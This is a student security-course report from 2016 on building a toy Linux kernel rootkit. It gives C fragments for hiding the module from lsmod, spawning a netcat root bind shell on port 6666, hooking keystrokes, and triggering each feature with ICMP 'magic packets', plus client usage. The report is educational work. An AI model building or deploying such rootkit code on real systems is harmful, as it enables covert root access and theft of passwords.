Keylogger/Backdoor Rootkit

Winter Term 2015/16

Applied Information Security

Clemens Brunner
Michael Fröwis

supervised by
Matthias Gander

February 18, 2016

Contents

1 Introduction

This work aims at developing a toy Linux kernel rootkit with basic keylogging and backdoor capabilities. A *rootkit* is usually a piece of malicious software designed to give an attacker some kind of privileged access (root) to a system while masking its existence on the system. We choose two very basic but popular privileged tasks for a rootkit to implement. The first creates a simple *backdoor*, that means every attacker can span a shell, with root access, on demand and connect to it without any knowledge of user or root credentials. That means the attacker has full control over the infected machine. The second task we implemented is a keylogger that sends every keystroke to the attacker. Such a keylogger gives the attacker the possibility to steal passwords, account information and therefore the identity of the attacked user.

In the remaining part of this section we want to give a basic introduction into kernel modules and why we used them. In Section 2 we talk about the actual implementation of the features in detail. Section 3 sketches the usage in a brief fashion. After that, in Section 4 we give a brief summary and conclusion.

1.1 Kernel Modules

Almost every modern operating system has some sort of kernel extension mechanism. Without such a mechanism everything that has to run in kernel mode has to be included into the kernel binary. This would not only be a massive wast of space, but would also require to rebuild the entire kernel every time we need new functionality. The aim of a kernel extension mechanism is to extend the kernel without rebuilding the kernel or even rebooting it.

Different operating systems have different names for such extensions as for example kernel-mode driver (Windows), kernel extension (OS X) or loadable kernel module or LKM for short (Linux). Because we develop a Linux rootkit we use the term kernel module in the following.

A kernel module in its simplest form is nothing more than a piece of code, usually written in the C programming language that can be loaded into kernel space at runtime. It has a setup (`init_module`) and an exit function (`cleanup_module`) which are called if the module is loaded or unloaded. Listing 1 gives an example of a very simple kernel module. The only thing it does it logs “Hello world” to the system log when loaded and “Goodbye

world" when unloaded.

```
1  /*
2   *  hello-1.c - The simplest kernel module.
3   */
4  #include <linux/module.h>       /* Needed by all modules */
5  #include <linux/kernel.h>       /* Needed for KERN_INFO */
6
7  int init_module(void)
8  {
9          printk(KERN_INFO "Hello world 1.\n");
10
11         /*
12          * A non 0 return means init_module failed; module can't
                be loaded.
13          */
14         return 0;
15 }
16
17 void cleanup_module(void)
18 {
19         printk(KERN_INFO "Goodbye world 1.\n");
20 }
21
22 module_init(init_module);
23 module_exit(cleanup_module);
```

Listing 1: Source: `http://www.tldp.org/LDP/lkmpg/2.6/html/x121.html`, visited 2016-01-19.

All the code inside a kernel module is run in the context of the kernel and therefore it can do anything possible on your computer, without any protection. That means even something as small as a single bad pointer could possibly wipe your hard drive. Therefore it is a good idea to use a VM for kernel programming. Another difference that has to be mentioned is that you don't use the usual C standard lib but code that is exported by the kernel itself.

In the implementation section we will use a kernel module to implement our rootkit, because we want to have full control over the compromised system.

2 Implementation

In this section we want to describe some of the implementation details that were important for the success of the project.

2.1 Hiding

As mentioned above a rootkit should mask its existence as much as possible in order to prevent the detection of itself and its activity. Although a kernel module is not visible as a process on the system it can be easily revealed via the `lsmod` command, which lists all currently loaded kernel modules. To prevent the module from being detected via a common means of detection (i.e. `lsmod`) certain measures have to be taken.

This sounds hard at first but it is rather easy. We can use the special exported symbol `extern struct module __this_module;` which points to the module we are currently in. The module structure, see Listing 2, has a field `list` that points to the list of all modules.

```
1  struct module {
2          enum module_state state;
3
4          /* Member of list of modules */
5          struct list_head list;
6
7          /* Unique handle for this module */
8          char name[MODULE_NAME_LEN];
9
10         // skipped for brevity
11 }
```

Listing 2: Extract from Linux/include/linux/module.h

That means to hide the module from detection we only need to delete the reference to it from the list of modules and we are done. Luckily the kernel provides us with handy list manipulation functions. Finally our effort boils down to one line of code as you can see in Listing 3.

```
1          list_del(&(__this_module.list));
```

Listing 3: Hide the current module.

2.2 Backdoor

For an adversary it proves to be beneficial to have immediate access to a system. Our initial assumption was that we have already compromised the system, i.e. have a rootshell. Hence, to ease re-entry to the system it is essential to install a backdoor, which turns out to be trivial. What we also wanted to achieve is that the backdoor is not active all the time but can be activated whenever needed. Again magic packets, as described in 2.4 are used to activate the backdoor. The backdoor itself is created by leveraging netcat, via the following command: `netcat -l -p 6666 -e /bin/sh` in userland (ring 3). This is done via the `call_usermodehelper` function. Listing 4 shows the spawning function.

```
1 void shell_tasklet_fn(unsigned long data){
2                 static char *envp[] = {
3                 "HOME=/",
4                 "TERM=linux",
5                 "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
6         char *argv3[] = {"/bin/sh", "-c", "/bin/netcat -l -p
              6666 -e /bin/sh &", NULL};
7         call_usermodehelper(argv3[0], argv3, envp, UMH_NO_WAIT);
8
9 }
```

Listing 4: Span netcat in userland.

The hard part was not the creation of the process itself but doing it inside of an interrupt handler (reception of magic packet). Many functions can't be called safely (long running functions and so on) inside the context of an interrupt. Because of that we used the tasklet API to defer the execution of `call_usermodehelper` to a save point in time into the kernel context. Listing 5 shows the usage of the tasklet API to start the `shell_tasklet_fn` in a deferred and safe manner.

```
1 DECLARE_TASKLET(shell_tasklet, shell_tasklet_fn, 0);
2
3 void start_remote_shell(void){
4         tasklet_schedule( &shell_tasklet );
5 }
```

Listing 5: Tasklet API.

2.3 Keylogging

This section deals with keylogging in the linux kernel. Keylogging describes the process of intercepting all input-keys, this includes all passwords, usernames or bank account information assuming the user entered this information, from a keyboard. Our rootkit intercepts all keys and sends them to the attacker. To make it harder to detect the rootkit with the keylogging function it is possible to activate and deactivate it with magic packets, see 2.4.
The linux kernel already provides a method to intercept all keys, to use this implementation it is necessary to include the keyboard header and define a new `struct notifier_block keyboard_notifier`, see Listing 6. [Phi14]

```
1 #include <linux/keyboard.h>
2
3 static struct notifier_block keyboard_notifier = {
4   .notifier_call = keyboard_hook
5 };
6
7 int keyboard_hook(struct notifier_block *, unsigned long code,
    void *);
```

Listing 6: Keyboard header.

The keyboard notifier stores the `keyboard_hook` method which will be called on each key press. This function gets a keyboard keycode as input, to filter out the associated character we use two arrays with the mapping for the American keyboard layout. The first one is the mapping without SHIFT and the second is with SHIFT pressed. To inform the linux kernel to add or remove our notifier to the notification list for any keyboard event, we have to register or unregister the keyboard notifier, see Listing 7. We do that when the kernel module is loaded or unloaded.

```
1 register_keyboard_notifier(&keyboard_notifier);
2 unregister_keyboard_notifier(&keyboard_notifier);
```

Listing 7: Register Keyboard

2.4 Networking and Activation

Ideally our rootkit runs without being detected and without leaving any traces on the attacked system. To do so we don't log keystrokes to file but

send them over the network. We used so-called magic packets for the activation and deactivation of a service. A magic packet should be a packet which is hard to detect or in other words a packet that is not easily distinguishable from normal packets. Our magic packets are normal ping request with the anomaly that the icmp header field id is equal to the icmp code field. If we intercept a magic packet we compare the code with our predefined de/activation codes.
Communication-wise two different types of packets are used.

- ICMP Packets (for the activation packets)
- UDP (sending keystrokes)

2.4.1 ICMP Packets

Magic packets can activate (deactivate) the keylogger, hide (unhide) the rootkit module or open a backdoor shell with root access. The following values are used in the code to identify the desired functionality: 122 - activate keylogger, 123 - deactivate keylogger, 124 - hide module, 125 - unhide module, 126 - open backdoor.

To intercept the packets a new netfilter_hook is added with the netfilter library, see Listing 8.

```
1  #include <linux/netfilter.h>
2  #include <linux/netfilter_ipv4.h>
3
4  static struct nf_hook_ops netfilter_hook;
5
6  netfilter_hook.hook = (nf_hookfn*) filter_magic_packets;
7  netfilter_hook.hooknum = 0;
8  netfilter_hook.pf = PF_INET;
9  netfilter_hook.priority = 1;
10
11 nf_register_hook(&netfilter_hook);
12 nf_register_hook(&netfilter_hook);
```

Listing 8: Netfilter Hook

The netfilter hook catches all IP packets. To detect ping packets only the ICMP packets need to be unpacked from the IP messages. Pings are just a special kind of ICMP packets namly ICMP echo requests (type 8). For the evaluation only packets with the already defined properties are used (id==code).

2.4.2 UDP Sockets

To send the keys to the attacker UPD datagram packets are used. We used UDP because it is connectionless and if packets are lost, we do not want to ask for resending. For details about UDP read Section 6.9 in the book called 'Informatik Handbuch' [RPMP97].

3 Usage

This section describes how to setup the rootkit and how to use the client application.

3.1 Rootkit

The rootkit can be build via `make`. To install it execute `insmod rootkit.ko` as root user.

3.2 Client

The to start one of the possible operation on our infected system use

```
rootkit_client.py -[a,d] <feature-key> -h <host>
```

Three different features can be controlled via the feature-keys *key* (keylogger), *hide* (hide the kernel module) and *root* (backdoor/root access). To activate a feature use the option `-a` and `-d` to deactivate a feature. The root feature is the only feature that has no deactivation because it can be easily be done via the shell itself. The root feature only starts the backdoor on a certain host. To connect to it use the usual suspects e.g. nc <host> 6666.

4 Conclusion

With some basic knowledge of the linux kernel, Google and some time it is possible to develop a simple rootkit for linux. Backdoor and keylogging is also rather trivial if you don't spend to much effort handling error situations or edge cases. The same goes for hiding. But if you want a bullet proof solution that works in every situation, on every machine and does not reveal itself you gonna have a hard time.

4.1 Possible Improvements

As in every project there is room for improvements for example:

We only prevent the rootkit detection via `lsmod` and equivalent commands but there are other methods to detect rootkits e.g. network activity, changes in the system call table and so on. The implementation of the backdoor should be improved. It needs a specific version of `netcat` (-e option) to be installed. The invocation of the userland `netcat` process from the kernel is not very reliable and needs to be revisited. And the worst part is that the new netcat process is visible to every user and needs to be hidden. [Mal13]

References

[Goo15] Dan Goodin. Gpu-based rootkit and keylogger offer superior stealth and computing power, 2015. http://arstechnica.com/security/2015/05/gpu-based-rootkit-and-keylogger-offer-superior-stealth-and-computing-power/, visited 2016-01-19.

[Mal13] Serge Malenkovich. Was ist ein rootkit?, 2013. https://blog.kaspersky.de/was-ist-ein-rootkit/853/, visited 2016-01-19.

[Phi14] Morgan Phillips. How to: Building your own kernel space keylogger, 2014. https://github.com/mrrrgn/simple-rootkit, visited 2016-01-19.

[RPMP97] Peter Rechenberg, Gustav Pomberger, Doris Märtin, and Klaus Pirklbauer. *Informatik-Handbuch*, volume 3. Hanser München-Wien, 1997.

[Unk10] Unknown. How to: Building your own kernel space keylogger, 2010. https://www.gadgetweb.de/programming/39-how-to-building-your-own-kernel-space-keylogger.html, visited 2016-01-19.

[Unk14a] Unknown. Kernelmode rootkits: Part 3, kernel filters, 2014. http://www.adlice.com/kernelmode-rootkits-part-3-kernel-filters/, visited 2016-01-19.

[Unk14b] Unknown. Part 1: Stealing keyboard keys for fun & profit, 2014. http://r00tkit.me/?tag=keylogger, visited 2016-01-19.